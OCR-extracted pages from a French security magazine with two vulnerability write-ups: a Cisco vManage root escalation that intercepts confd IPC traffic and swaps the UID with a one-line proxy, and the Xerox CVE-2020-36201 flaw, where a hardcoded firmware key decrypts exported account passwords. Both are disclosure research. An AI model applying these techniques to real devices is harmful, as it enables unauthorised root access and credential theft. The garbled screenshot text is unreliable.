vZ3Nw —-N Z3Nw -n dmlwdGVsYS1lyZXNlcnZ1ZClzeXN@ZWOtd3JpdGUtdGFzayxuZXRhZGlpbg== -m 155752 -t eHRlcm@=
-U 62106 -w 154 -h 44 —c L2hvbWUvZ3Nw —q 1@ -u @ bash

Failed to open /etc/confd/confd_ipc_secret: Permission denied
Failed to handshake with server

Tentative d'appel direct au binaire cndptywrapper soldée par un échec

Les permissions du fichier confd_ipc_secret étant nulles pour les utilisateurs différents de root, seul cet utilisateur
est en mesure de lire le fichier.

En tant qu'utilisateur non privilégié, I'impossibilité de lire le fichier confd_ipc_secret se solde par un arrét du pro-
gramme cmdptywrapper et non par un shell root tant espéré.

Une analyse plus détaillée et complétée par la lecture des ressources [4] et [5] montre qu'en réalité un enchaine-
ment de 4 actions survient entre l'ouverture d'une session SSH et I'exécution du shell restreint :

1.Lancement du binaire viptela_cli (/usr/sbin/viptela_cli, spécifié au niveau du fichier /etc/passwd comme shell par
défaut pour les utilisateurs locaux)

2. Exécution du binaire SUID (root) confd_cli (/usr/bin/confd_cli)
2.1 Lecture du fichier protégé confd_ipc_secret pour lI'authentification lors de I'étape 3
2.2 Envoi de I'UID de l'utilisateur courant

3. Communications vers I'agent confd écoutant localement sur le port 4565 entrainant I'exécution du wrapper de
shell cndptywrapper fournissant en parametre I'UID et le GID recus lors de I'échange avec confd_cli

3.1 Lecture du fichier protégé confd_ipc_secret pour vérifier la réponse au challenge

3.2 Utilisation de I'UID communiqué pour fabriquer la commande de lancement du binaire cdptywrapper

4 Exécution du shell final en tant que I'UID et le GID spécifiés
64
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éll 7. -

L'aspect SUID du binaire confd_cli et I'agent root confd permettent I'accés au fichier protégé /etc/confd/confd_

ipc_secret qui contient un secret utilisé pour l'authentification du client vers I'agent :

viptela_cli < 1.
n ‘
Agent confd
(démon root)
I ) } UID de l'utilisateur . . 1111 :
confd_cli >_ Port 4565 E E
UL
Binaire SUID
. | 31] UID de
|21 Ez_ I'utilisate
Accés au secret partagé D Validation du secret partagé
/etc/confd/confd_ipc_secret \
(ACL: 640 vmanage:vmanage)
- EXECUtiON )
—
_> D r . h . ==
onnées échangées emd ranper
bash > 0D de iptywrapp
l'utilisateur

el L@Cture de fichier

Schéma d'exécution du shell restreint

Ce fichier a vraisemblablement été ajouté (et sa protection renforcée) a la suite des précédentes élévations de
priviléges découvertes dans [5] et [4]. Le binaire cndptywrapper tente également de lire ce fichier afin de garantir

que son exécution est réalisée dans un contexte privilégié (sans que cela ne semble utile pour générer le shell
final).

On peut toutefois noter que le fichier de secret est accessible via la lecture de fichier arbitraire permise par I'in-
jection Cypher. Cela suffit en théorie a élever ses priviléges. Cependant, nous n'avions pas réalisé, au moment des
tests, que nous pouvions effectuer cette action depuis le point d'injection initial.

Disposant d'un shell non privilégié sur le serveur vManage et n‘étant pas en mesure d’accéder au secret avec I'uti-
lisateur courant, nous avons rapidement analysé le contenu des binaires confd_cli et de I'agent confd.

L'étude du binaire confd_cli révele que deux variables d’environnement, CONFD_IPC_ADDR et CONFD_IPC_PORT
définissent I'agent distant avec lequel les communications s'effectuent (par défaut, 127.0.0.1 et 4565 si non défi-
nies) [7].

Lidée naturelle qui suit consiste en la modification de ces variables d’environnement en ciblant un systéme

contrélé, afin de visualiser voire de modifier le trafic entre la CLI et I'agent. 65
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Visualisation des échanges

Bien que vManage offre nativement une possibilité d'écouter une partie du trafic réseau transitant via le shell
restreint, nous avons opté pour une approche facile a mettre en ceuvre localement utilisant directement python
installé par défaut sur le serveur associé.

Nous avons ainsi mis en place un simple proxy TCP écoutant localement sur le port 4564 et redirigeant le trafic
recu vers l'agent confd légitime (port 4565 local).
Sur les communications interceptées, on distingue 4 échanges initiaux principaux :

1. Envoi du numéro de version et protocole (serveur -> client)

2. Envoi d’'une preuve de connaissance du secret partagé (client -> serveur)

3. ACK pour continuation (serveur -> client)

4. Envoide l'environnement et d’'informations relatives a la session courante (client -> serveur)

Concernant la quatrieme étape, I'envoi de I'UID et GID de I'utilisateur courant peut étre constaté dans les échanges
(en bleu, UID = 0x3F0 = 1008, GID = 0x64 = 100) :

[is ) exploit_eop_vmanagel$ python do.py
('Connected by', (' 102', 55582))

84

@cdé64b706931bbédalb4afec389a3873F780

312e30

3b6773703b3132372302e302e313b63676e73676C653b3b484F53543d30216465762170747321373b2168616d652F
6773703b787465726d2d323536636T6c6F723b3b756e7365743b0000000003TANAAA0A00AARAGLAAREAAIARE0ADPEE
P0P0PRPPERAN3P0ENVPP00R0P01FI0PRE0APARARA10RAPRERARAPEEARAE00A0N0000000000

Visualisation des données émises par le binaire confd cli

Au vu du protocole de communication rudimentaire, ne faisant pas intervenir d'échange de clé ni de données
permettant le controle d'intégrité, les données transmises ne sont pas chiffrées et leur intégrité n'est pas vérifiée.
Un attaquant interceptant les communications peut donc afficher (comme ci-dessus) puis modifier a la volée les
données brutes transmises.

Intercepter a la volée pour élever ses priviléges

Exploitant cette absence de vérification d'intégrité / de chiffrement entre le client et I'agent, couplée a la possi-
bilité de définir un agent de substitution (absence de vérification de l'authenticité de I'agent), un attaquant peut
modifier I'UID (ou/et le GID) transmis dans les échanges au travers d’un proxy personnalisé en 1 ligne :

pipe out.send(pipe in.recv () .replace (“"\xf0\x03”, “\x00\x00"))

Ne reste plus qu'a lancer le proxy en écoute localement :

_ =T X

& c Q © & =0 https:/ ifindex.htmi#fapp/tocls{ssh

aluifn e
cieco CiscovManage
W, TOOLS | SSH TERMINAL

Device Group

Al

Q

Sortby Reachability &

1 4565

vMana
1D: 1024000000

Be proxy de I'agent confd
“ - |écoute sur le port 4564

Proxy en place pour la modification a la volée de I'UID de |'utilisateur
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Puis, en lancant le binaire confd_cli en spécifiant notre proxy dans une autre session SSH, les communications
sont interceptées et I'UID modifié a la volée :

VoS i o Clocovianage *

[us
« c ‘@ © & nhttps:f) 1findex.html#/app/tocls/ssh

Cisco vManage

A s confd_cli est exécuté en

spécifiant le proxy comme cible

Q

Sortby  Reachability

vManage
1D: 1024000000

vSmart
210 1036000000

Exécution du binaire confd cli en spécifiant le proxy comme port cible

Le schéma suivant récapitule les échanges et interceptions réalisées :

_ . $ vshell ry
viptela_cli _ < " *
— bash
P
] >
$ export CONFD_IPC_PORT=4564
S confd_cli
Agent confd
UID de I'utilisateur UID =0 (démon rooy
T 2.2 > B
confd cli | D — Port 4564 E, Port 4565 - =
] Riund
Binaire SUID n
I 31 UID=0
E g
Accés au secret partagé D Validation du secret partagé
letc/confd/confd_ipc_secret v
(ACL: 640 vmanage:vmanage)
el Exécution
I >—
_> D . - h . b 4
onnées échangées bash S ¢ | cmdptywrapper
N — UiD=0
Exécuté en tant que root

- LeCture de fichier

Schéma des flux des échanges et interceptions réalisés par le proxy
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Survient alors le shell root espéré :

b = X

&« ¢ @ © & httpsy/ Vindex.html#/app/taals/ssh

i
CiIscC

ll' Cisco vManage

%, TOOLS | SSH TERMINAL

Device Group £

Al 5

Q

vManage
1D: 1024000000

2101036000000

1 2101034000000

E vEdge Cloud
1 21D:1076000000
Rearhahle vRand

Les commandes exécutées au travers du proxy sont réalisées avec des droits root

Découle de cet acces la possibilité d'accéder a l'intégralité des configurations, des binaires et des données traitées
par les composants de I'appliance vManage.

> Conclusion

Bien que le scénario détaillé dans cet article repose sur des prérequis relativement élevés (accés authentifié a
I'interface de gestion vManage, en théorie jamais exposée directement sur Internet), il démontre qu'une grande
surface d'attaque potentielle reste a explorer du c6té de cette solution relativement récente.
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Xerox, I'attaque des clones
Explications détaillées de la faille CVE-2020-36201

Par Yann FERRERE et Arnaud REYGNAUD

> Introduction et chronologie

Les imprimantes sont depuis longtemps un vecteur d'attaques bien trop souvent négligé en entreprise. Mésesti-

mer les risques inhérents a ces équipements conduit trop souvent a:

« Larécupération de documents confidentiels (scans / impressions) ;

+ Lobtention de comptes du domaine ou de services (ex. via la configuration LDAP, FTP, SMB) ;

« Lamise en place de campagnes de phishing (ex. via les interfaces Web) ;

« Le déploiement de firmwares malveillants ;

« Lerebond sur d’autres réseaux (ex. si 'imprimante est partagée sur différents réseaux et se retrouve donc en
tant que potentiel pivot).

Au coursd’unauditde sécurité dédié aux Multi-Function Printers (MFP) d’'une entreprise (Canon, Xerox, Hewlett-Pac-
kard, Epson, Konica Minolta, Sharp, Ricoh, etc.), nous avons eu l'opportunité de consacrer quelques heures de
recherche a une version de firmware Xerox. Il en a résulté l'identification d'une vulnérabilité permettant de dé-
chiffrer les mots de passe stockés dans plusieurs modeles fréquemment déployés en entreprise.

Apres confirmation de prise en compte et de correction par I'éditeur, nous avons rédigé cet article afin de présen-

ter la démarche d'exploitation.

«  Décembre 2019 : Identification de la vulnérabilité et communication avec le support Xerox (validation préa-
lable avec le commanditaire de l'audit) ;

« Juin 2020 : Publication des patchs et des bulletins de sécurité associés [1-2].
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L'élément déclencheur

Positionnés sur le Sl en boite noire, nous avons tout d’'abord déroulé les étapes usuelles de reconnaissance et

de récupération d'informations du périmétre. Différentes vulnérabilités ont ainsi pu étre mises en avant parmi

lesquelles :

«  Exposition des interfaces d’administration sans identifiant ou avec des identifiants par défaut, qu'il est relati-
vement simple de retrouver dans la documentation officielle des éditeurs ;

« Exposition de services par défaut, souvent non utilisés, qui présentent un risque potentiel de sécurité (FTP
anonymes, SMBv1, Telnet, SNMP avec des communautés triviales, etc.) ;

«  Absence de processus de mises a jour et présence de différentes vulnérabilités publiquement référencées
(XSS, RCE, EOP, etc.) ;

L'objectif de cet article ne consiste pas a présenter une méthodologie d’audit de ces équipements, mais plutot de
s'attarder sur une vulnérabilité impactant les imprimantes du constructeur Xerox.

A l'instar d’autres modéles, I'interface de notre cible Xerox WorkCentre 7855 offre la possibilité d’administrer I'en-
semble des options de I'imprimante, dont notamment :

«  Gestion des niveaux (papier, toner / encre, etc.) ;

«  Paramétrage du panneau tactile;

«  Paramétrage des services et du réseau ;

« Pilotage des plages d'allumage et de gestion de I'énergie;

«  Gestion des utilisateurs locaux, des annuaires, etc. ;

«  Définition des journaux dévenements de I'équipement ;

«  Export/Import de configurations.

Des comptes utilisateurs issus d'un environnement Active Directory, ainsi que des comptes applicatifs locaux
peuvent y étre configurés. Ces derniers peuvent étre extraits via un accés administrateur a l'interface web d’ad-
ministration exposée par I'imprimante. Néanmoins, ces mots de passe exportés sont chiffrés et inexploitables en
I'état.

(©) ttps: properties/index.php Search
Cette fonctionnalité d'export de confi-
guration nommée Clone sur l'interface

Centreware

Internet Services XEROX® WorkCentre® 7855

, |
v s R

" " "
Status | Jobs | Print | Scan

permet de répliquer les informations
enregistrées au sein de limprimante
afin de les sauvegarder ou encore de
les importer sur une autre. Nous nous
sommes ainsi attardés sur le contenu
de ces clones et plus précisément sur la
section dénommeée accounting.

Le menu de génération d’'une archive
clone se présente sous la forme sui-
vante.

Jusqu’a présent, rien de bien compli-
qué. Linterface d'administration ne
présentait aucune demande d’authen-
tification sur ces fonctionnalités.
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Properties

Configuration Overview
Description
~General Setup
Configuration Report
Cloning
Entry Screen Defaults
Paper Management
Date and Time
Internationalization
Extensible Service Setup
SMart eSolutions Setup
Display Device Information
Configure Driver Links
Energy Saver
Network Logs
Supplies Plan Activation Code
Feature Installation
Billing Impression Mode
¥ Alert Notification
Software Upgrade
*» Connectivity
*Login/ Permissions/ Accounting
¥ Services
»Security

Cloning

Security Installation Policy:
Allowed (Device and Remote Methods)

Install Clone File

Browse...

Install I

No file selected.

Create Clone File

Step 1: To Clone all features simply select the "Clone" button.

Step 2: To customize individually, disable any of the features below.
Then select the "Clone" button.

View Feature Details

Select All | Clear All I

Accounting

Authentication & Authorization Configuration
Email

Internationalization

SMart eSolutions

Workflow Scanning

Device Upgrade

Copy

Clone I

Administration
Connectivity Settings
Fax

Job Management
Power Saver

Scan To Destination
Web Services

Paper Management

Menu Cloning de l'interface Xerox WorkCentre 7855
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Nous avons donc simplement récupéré le clone, en sélectionnant I'ensemble des attributs, avec pour objectif de
récupérer des identifiants identifiés au préalable sur l'interface.

6] https:// /properties/index.php ooe w Search ¥ I\ [ED
Centreware® &) Login | Home | Index | Site Map | Help..
Internet Services XEROX® WorkCentre® 7855
e -
Status | Jobs | Print = Scan | Address Book Properties |
Properties Device User Database
Configuration Overview __
Description \ !.j Device User Database
~General Setup

Configuration Report

Cloning Add New User Password Senings

Entry Screen Defaults

Paper Management User Name I A | user's Logged-In Roles | Actions
Date and Time

Internationalization By system Agminisrator -
SMart eSolutions Setup - v i -
Display Device Information & oggec-in Lser
Configure Driver Links &"’I System Administrator
Energy Saver _ ___
Network Logs XMCO_TEST XMCO_TEST % Accounting Administrator {4 Permissions... & Edit... Delete
Supplies Plan Activation Code & . -
L R
Feature Installation 0gged-in User

Billing Impression Mode & System Administrator

» Alert Notification - — pa—
Software Upgrade %I Accounting Administrator i7a) Permissions... /| Edit... Delete
& Logged-in User

&;l System Administrator

. % Accounting Administrator i4) Permissions... & Edit... Delete
User Permissions i
Accounting Methods & Logged-in User

T —
vServices
Display
» Custom Services >
»Printing Xerox ¢ )
» Copy

~Connectivity
Setup

~Login/ Permissions/ Accounting
Login Methods

Menu Device User Database de l'interface Xerox WorkCentre 7855

Suite a la création d'un clone de la configuration de notre cible, nous obtenons un fichier avec pour extension
DLM (ce méme format est également utilisé pour d'autres fonctions que nous ne traiterons pas ici).

=» WORK head -nl15 cloning_
%%XRXbegin
QOID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE
OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE
OID_ATT_JOB_COMMENT "device-clone®@ " XRX Job Header
OID_ATT_JOB_COMMENT "DLM toolkit 2.0"
OID_ATT_JOB_COMMENT "clone Thu Sep 12 14:00:41 CEST 2019" Langage propriétaire (“job ticketing”)
OID_ATT_DLM_NAME "cloning" utilisé par Xerox et_ “lu” par Ies_ imprimantes
OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK" oS cunatementauten e
%%0ID_ATT_DLM_SIGNATURE "15KSY b0Suj/v+Z5G0pcIHCG2viglecy:
WBRLb3J6Xyvys/mgkbzWijM7Pcr/PSs JSWQDP380CTWAXEDL1KAHTMGUY
Lv183cQFCoGahdYKSalXbuhKoE j5dn DSAH/dH"
%%0ID_ATT_DLM_SIGNATUREL "YkVP TuE9SjoalrjSOh4tTYr8hEjluz
DIF3TMvid7fd7LUK91bQ==
5%0ID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/cloning.dnld”
%%XRXend
i3z] 9 {sBe

VAR
OGHIGTBG0  qf LEPDW
I 9, LY HON\X QB OH K51 B0 G2 10\ RE

ROGRY
G4 ; RGN G ISV T "nb; - & "G O NN B304 ] B O GO+~ Vi (VRAGK a ik @ %V elondd &6

Lecture de l'en-téte XRX 71

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite. ‘ Xm CO]



Inutile de se casser la téte, il s'agit in fine d'une simple archive GZIP (vérifiable en regardant I'en-téte du fichier) qui
dispose également d'un en-téte préfixé, propre a Xerox pour le traitement du fichier.

-» WORK tail -n +13

00000000 :
00000010
00000020 :
00000030 :
00000040 :
00000050 :
00000060 :

1f8b 0800
92ct bfd2
blb3 254b
1409 d99c
8028 3f66
7812 220f
elee d9f5

cloning_

6933 7a5d
a7c@® b9ae
54a2 5dcb
5004 96a4
fc50 fbcc
Saef 9efd
@e2b 9aa?

.dlm | head -1 | xxd

M Premiers octets d’un fichier
4(en héxadécimal)

caractérisant les fichiers

Lecture du contenu aprés l'en-téte XRX

1F 8B

gz
tar.gz

Sur la base de ce constat, nous pouvons faire abstraction de cet en-téte et ne récupérer que I'archive qui nous

intéresse :

tail -n +13 <file.dlm> > <file>.tar.gz

ou

grep -Eav «"%%0ID|"%$%XRX» <file>.dlm > <file>.tar.gz

A ce stade, nous pouvons ouvrir l'archive tar.gz générée. Chaque répertoire dispose d’'un nom assez explicite, et
nous allons nous intéresser a I'un d’eux.

Name

. cloning_
B cloning_
v [ output

. CloningManifest.xml
¥ [ data

B addressBook
I cloneStorage
B customLogo

BB defaultTemplate
B fdiAttributes

BB ipSec

B ipTables

B jbaException
B mailbox

B s2HomeTemplate
BB scanto_defaults
B serviceRegistry
Bl snmp

B XSa

[~ | xsa_clone

B xsaException

Répertoires présents au sein de 'archive DLM

En recherchant sur la documentation de Xerox des informations sur les DLM, nous identifions I'acronyme Xerox
Standard Accounting (XSA). Nous décidons donc de poursuivre sur le fichier xsa_clone qui semble le plus pertinent

2> pour récupérer les secrets de comptes utilisateurs dans cet export.

[xXmMco]
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xsa_clone

C ess
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE
DELETE

admin

SVC_
adm_
adm_
666666 2
999999 2
000000 @
!$ecivreS

diag

O UNTWNRFE OO

1

1

.accounts;
.attribute_data;
.account_map;
.role_misc;
. role_pathway;
.role_tray_access;
.role_application;
xsa.
Xxsa.
xsa.
xsa.
Xsa.
COPY xsa.accounts (account_oid,account_id,faccount_type} account_name,[is_admin} passwd,[role) FROM STDIN WITH DELIMITER '
SA

role_job_type;
role_service;
role_ldap;
role_web_access;
roles;

Admin t

| 0xC579
_ Ox448E
1 @xC579

Xerox Administrative Group t

XRX_DEF f

System User f

1 Customer Service Engineer Account f  @xF399
Diagnostics f  @x9FA4

Contenu du fichier xsa_clone

SA, AA
WY
SA, AA

Le fichier contient bien les informations propres aux utilisateurs enregistrés sur l'interface WorkCentre. Le mot de
passe chiffré pour chaque compte utilisateur se présente ici sous la forme d’'une chaine hexadécimale d’une taille
fixe de 36 caractéres (préfixe Ox compris).

Apres différentes tentatives de cassage non concluantes sur ce format, nous avons poursuivi nos investigations
afin de comprendre le processus de chiffrement/déchiffrement. Pour ce faire, quoi de mieux que d’analyser direc-
tement le firmware utilisé par I'imprimante ? :D

Notons que le mot de passe chiffré de notre compte de test s'avere similaire sur les différents modeéles d'impri-
mantes Xerox audités, lorsque nous utilisons le méme mot de passe. Cette information nous indique qu'il pourrait
trés certainement s'agir d'un algorithme de chiffrement commun a I'ensemble des modéles, et ce sans aléa.

S'agirait-il d'une clé commune ?
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L'analyse du firmware

Dans un premier temps, nous récupérons un firmware WorkCentre directement depuis le site de Xerox (accés
public) : https://www.support.xerox.com/fr-ca/product/workcentre-7800-series/downloads?platform=all&pro-
duct=&category=&language==_&attributeld=

Plusieursarchives sont proposées sur le site du support de Xerox. Nous avons cependant choisilaWorkCentre_7845-
55-system-sw(07204000409100.zip pour initier notre étude. Nous avons par la suite vérifié nos découvertes sur
d’autres archives.

WorkCentre 7845/7855 System Software v072.040.004.09100
(ConnectKey 1.5 Software)

Description

Ensure you have the correct software for your device. This software is for the WorkCentre 7845/7855 only.

 Publié: 28/05/2014  Version: 072.040.004.09100 « Taille: 435.67 MB L 21 BT TR WorkCentre_7845-5!

jsystem-sw07204000409100.zip

« Serveur d'impression: EFI Fiery
Controller, built-in controller

Récupération d'une mise a jour WorkCentre sur le site de Xerox

L'archive zip contient dans le cas présent 5 fichiers dont les désormais bien connus DLM.

Name

" WorkCentre_7845-55-system-sw07204000409100.zip
Bl WorkCentre_7845-55-system-sw07204000409100

[~ 1 WorkCentre_7845-55-system-sw#07204000409100#.DLM
[~ | WorkCentre_7845-55-scanner_sw_preupgrade-patchvi1.dim
WC7845_7855_Installation_Instructions_v5.pdf

| snmp.dim
n Clone_Patch.zip

Extraction des fichiers de 'archive téléchargée

DLM qui contiennent eux-mémes des DLM :)

) IIT_FPGA_006_076_00009.163
[*] WorkCentre_7845-55-scanner_sw_preupgrade-patc B 'T_DADH_007.019_00000.168
WC7845_7855_Installation_Instructions_v5.pdf . IIT_Bootcode_008_028_00000.153
1 snmp.dim . IIT_Boot_Taurus2_006_028_00000.161
" Clone_Patch.zip . IIT_App_Taurus2_006_088_00000.162
K 07204000409100.tar B !IT_App_008_088_00000.150
¥ @ 07204000409100 B Embedded_FAX_003_011_00009.38
R XUI_App_072_044_09100.11 B cCs_UBoot_000_001_00022.0
B SCD_072-040-004-09100.255 B CCS_SWUP_010.116_00294.1
B NC_App_072_044_09100.140 I CCS_SOK_071.012_06600.226
B MANIFEST B CCS_PWSProxy_071.00319800.217

[xXmMco]

B 107_SB_FINISHER_007 002_00000.204
B 107_C_Finisher_032_052_00000.200
B 10T_App_090_079_00000.42

B 10T_A_Finisher_015_002_00000.203
B IT_FPGA_Taurus2_005_076_00045.164
B 'T_FPGA_006_076_00009.163

B cCs_0S_072_.004_09100.8

B cCs_Glue_060_058_27600.216
B CcCs_CIPS_003_018.00018.9
B CCS_App_072_044_09100.2
B CCS_ACD_071.121_27600.214

Contenu du DLM system
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Rechercher a lI'aveugle dans les différents DLM ne semblait pas pertinent et le temps d'audit s'avérait limité. Nous
avons donc cherché a identifier sur l'interface WorkCentre des fonctions qui manipulaient les identifiants (ex.
authentification, création de comptes, changement de mot de passe).

[ S—

Dans la capture ci-dessous, nous avons pu identifier la fonction de modification de mot de passe d'un utilisateur
existant (compte créé pour nos tests avec un mot de passe dont nous connaissons donc le clair : azerty pour la
démo)).

[ JON | [ PosT request to htos:/ G - .o ost/xeroxset |
E—

[ Previous ][ Next ][ Action ]

J Request T Response 1

Raw | Params T Headers T Hex ]

POST request to /dummypost/xerox.set

Type | Name | Value

Cookie PHPSESSID 45f3cd44a95ef8ef25523322026d3217

Cookie propSelected n30

Cookie propNumNodes 111

Cookie propHierarchy 0011100000000000000000000

Cookie LastPage /propernes/authentlcanon/UserEd|t php7&|sRoIes True&isPass...
Body CSRETokon 298 2 afbol 2 8dd1bf94elfs...
Body I _fun_function HTTP_Set ccgen fac d|spatch fn

Body jproperue d viariager. X=&sort=Fname...
Body CcgenModule UserEdit

Body isRoles True

Body isPassword True

Body isCreate True

Body rolesStr 5,

Body limited False

Body oid 0

Body userName XMCO_TEST,

Body friendlyName XMCO_TESTR  wodification du mot de passe

Body newPassword azerty de notre compte de test

Body ePassword azerg

Body encoding: application/x-www-form-urlencoded

|dentification d'une fonction gui semble pertinente

Nous recherchons ainsi la potentielle présence de la fonction HTTP_Set_ccgen_fac_dispatch_fn dans nos DLM
décompressés et identifions son utilisation dans 2 bibliotheques .so du dossier NC_App_072_044_09100 2 :

+ libccgen_fac.so;

+ mod_loapost.so.

Recherche de la fonction par son nom dans les fichiers du firmware

Dés lors, nous poursuivons notre étude sur la bibliothéque libccgen_fac.so (au choix avec votre outil de reverse
préféré Radare2/Cutter, Ghidra, Ida, etc.) et recherchons des fonctions de chiffrement/déchiffrement, ainsi que

des références vers des fonctions avec des mots clés tels que : crypt, cipher, passw, etc. 7
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ﬁ-ogram Trees EE® X ing: libccgen_fac.so
i //
v ¥ libccgen_fac.so // segment_0.1
.bss // Loadable segment [0x@ - 0x237d10] (disabled execute bit)
.sbss // ram:00010000-ram:000100d3
.sdata //
data = 00010000 7f 45 4c E1f32_Ehdr
. 46 01 02
plt o1 00 00 ...
-got 00010000 7f db 7Fh e_ident_magi...
.dynamic 00010001 45 4c 46 ds "ELF" e_ident_magi...
.got2 00010004 01 db 1h e_ident_class
.data.rel.ro 00010005 02 db 2h e_ident_data
Jer 00010006 01 db 1h e_ident_vers...
dtors 00010007 00 db oh e_ident_osabi
_ciors 00010008 00 db oh e_ident_abiv...
00010009 00 00 00 00 00 db[7] e_ident_pad
00010010 00 03 dw 3h e_type
0 00010012 00 14 dw 14h e_machine
an SymbolTiER w2 X 00010014 00 00 00 01  ddw 1h e_version
v |ia Imports 00010018 00 05 60 60 ddw entry e_entry
v [] <EXTERNAL> 0001001c 00 00 00 34 ddw E1f32_Phdr_ARRAY_@0010... e_phoff
> § XSA_EncryptPassword 00010020 00 24 34 58 ddw E1f32_Shdr_ARRAY__elfS... e_shoff
v | Functions 00010024 00 00 00 00 ddw Oh e_flags
v (= XsA_... 00010028 00 34 dw 34h e_ehsize
>» ¥ xs __EncryptPassword 0001002a 00 20 dw 20h e_phentsize
0001002c 00 05 dw 5h e_phnum
0001002e 00 28 dw 28h e_shentsize
00010030 00 1f dw 1Fh e_shnum
00010032 00 le dw 1Eh e_shstrndx
Recherche ELf32_Phdr_ARRAY_00010034 XREF [1]:
dans le 00010034 00 00 00 E1f32_Ph...
Symbol Tree o 00 06 ..
7 — /!
Filter: [crypt x| & // .hash
// SHT HASH [0@xd4 - 0x51b71

Recherche de chaines utilisées dans des contextes de chiffrement / déchiffrement (outil Ghidra)

Cette méthode nous a permis d'identifier trés rapidement la fonction XSA_EncryptPassword. Cette fonction
s'avére étre importée depuis une autre bibliotheque externe pour I'heure inconnue. Nous réitérons notre étape
précédente afin d'identifier son origine au travers d'une nouvelle recherche dans les fichiers et 3 résultats sont
remontés :

07204000409100 rg -al "XSA_EncryptPassword" *

Recherche de la fonction par “son nom”dans les fichiers du firmware

Rappelons dés cette étape que XSA fait référence a Xerox Standard Accounting. La bibliothéque libxsa.so semble
donc étre une candidate plus qu'intéressante.

Une recherche dans la bibliotheque libxsa.so permet de mettre en avant 2 fonctions exportées qui contiennent
la chaine de caractére crypt qui nous intéresse dans leur nom : XSA_DecryptPassword et XSA_EncryptPassword.
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Xerox, I'attaque des clones
Explications détaillées de la faille CVE-2020-36201

Listing: libxsa.so

YYY1i0/35 /C VS U5 do muspr
v 57 libxsa.so 0001673c 4e 80 00 20 blr
B .bss
% .;d:a * FUNCTION
.da
[E undefined FUN_00016740()
B .got undefined r3:1 <RETURN>
E .dynamic undefined4 Stack[0x4]:4 local_res4
& .got2
B .datarel.ro undefined4 Stack[-0x10]:4 local_10
B e FUN_00016740
@ ‘d 00016740 94 21 ff fo stwu r1,local_10(r1)
drors 00016744 7c 08 02 a6 mfspr r0,LR
B ctors 00016748 90 01 00 14 stw ro, local_res4(r1)
@ -eh_frame 0001674c 80 01 00 14 wz r0,local_res4(r1)
00016750 38 21 00 10 addi ri,rl,0x10
_ 00016754 7c 08 03 a6 mtspr LR, ro
00016758 4e 80 00 20 blr
H® X
v &7 Exports
» § XSA_DBI_SetAcc ithEncryption * FUNCTION
[ XSA DecryptPassword q undefined XSA_DecryptPassword()
» § XSA EncryptPassword ' undefined Rl <RETURN>
TWZL undefined4 Stack[0x4]:4 local_res4
v .
?f;ss::yc:;);m decryptString undefined4 Stack[-0x4]:4 local_4
:; : szz:::—::ﬁz::::::g undefineda Stack[-0x81:4 local 8
5. é.'?x scrypto_encryptString undefined4 Stack[-@xc]:4 local_c
M ?'f At A ) ) undefineds Stack[-0x10] :4 local_10
_DBI_ ryptiol
f undefined4 Stack[-0x28]:4 local_28
Filter: ‘crypt “‘ 2 undefined4 Stack[-0x2c]:4 local_2c

Recherche de chaines utilisées dans des contextes de chiffrement / déchiffrement (outil Ghidra)

Apres décompilation et étude du pseudo-code C généré de ces deux fonctions identifiées, nous remarquons
gu’une méme chaine est utilisée afin de chiffrer / déchiffrer une autre chaine de caractéres passée en parametre
de ces fonctions.

1

2 lmdefined4 IXSA_EncryptPassword(char *param_1,undefined4 param_2,undefined4 param_3) |

3

4 [{

5 size_t sVarl;

6 int ivar2;

7| undefined4 uVar3; , .

8| void *local 28; Clé de chiffrement en dur dans le code
9| undefined4 local_24 [4];

10

11 Log_SpecEntry(logSpecEnter,"system/xad/nc/ukXsoftware/genlib/xsa/src/xsa_crypt.c",0x14,"%s",
12 "XSA_EncryptPassword");

13 local_24[0] = o;
14 | sVarl = strlen(param_1);

15| ivar2 = esscrypto_encryptString(param_l.",sVar1,0x213,loca1_24,&1oca1_28);

16 | if ((ivar2 == @) || (local_28 == (void %)0x0

17 Log_SpecEntry(logSpecError,"system/xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",0xle,
18 “Error encrypting password");

19 uvar3 = 2;

20 }

21| else {

22 ivar2 = Cfg_SetBytes(local_28,local_24[0],param_2,param_3);

23 free(local_28);

24 if (ivar2 == 0) {

25 Log_SpecEntry(logSpecReturn,"system/xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",0x2c,"%s",
26 "XSA_EncryptPassword");

27 uvar3 = 0;

28 }

29 else {

30 Log_SpecEntry(logSpecError,"system/xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",0x28,
31 "Cfg_SetBytes() error");

32 uVar3 = 2;

33 }

34 }

35 return uVar3;

36 |}

Identification d'une clef de chiffrement symétrique “en dur” dans le code décompilé (fonction de chiffrement)
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Decompile: XSA_DecryptPassword - (libxsa.so)

1

2 |undefined4| XSA DecryptPassword (undefined4 param 1,char *param 2,uint param 3)|

3

4 |{

5 char x__src;

6 undefined4 uvVarl;

7 int ivar2;

8| size_t svar3; Clé de déchiffrement en dur dans le code

9 | undefined auStackl1112 [1064];

10 uint local_30;

11 char xlocal_2c;

12 | undefined4 local_28 [61;

13

14 Log_SpecEntry(logSpecEnter,"systeny'xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",0x32,"%s",
15 "XSA_DecryptPasswordy) ;

16 | if (((int)param_3 < 1) || (param_2 %= (char x)ox0)) {

17 Log_SpecEntry(logSpecError,"system{xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",0x35,
18 "No space to decrypt \into");

19 uVarl = 2;

20 ¥

21| else {

22 *param_2 = '\0';

23 ivar2 = Cfg_GetBytes(param_1,auStackl11§,0x428,&local_30);

24 if (ivar2 == @) {

25 if (local 30 < 0x428) {

26 local_28[0]1 = 0;

27 iVar2 = esscrypto_decryptString

28 (auStack1112 }'Slat ar=s g =§. '], local 30,0x213, local 28,&local_2c);
29 __src = local_2c;

30 if ((iVar2 == @) || (local_2c == (char *x)}@x0)) {

31 Log_SpecEntry(logSpecError,"system/xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",0x51,
32 "Error decrypting password");

33 uVarl = 2;

34 }

35 else {

36 sVar3 = strlen(local_2c);

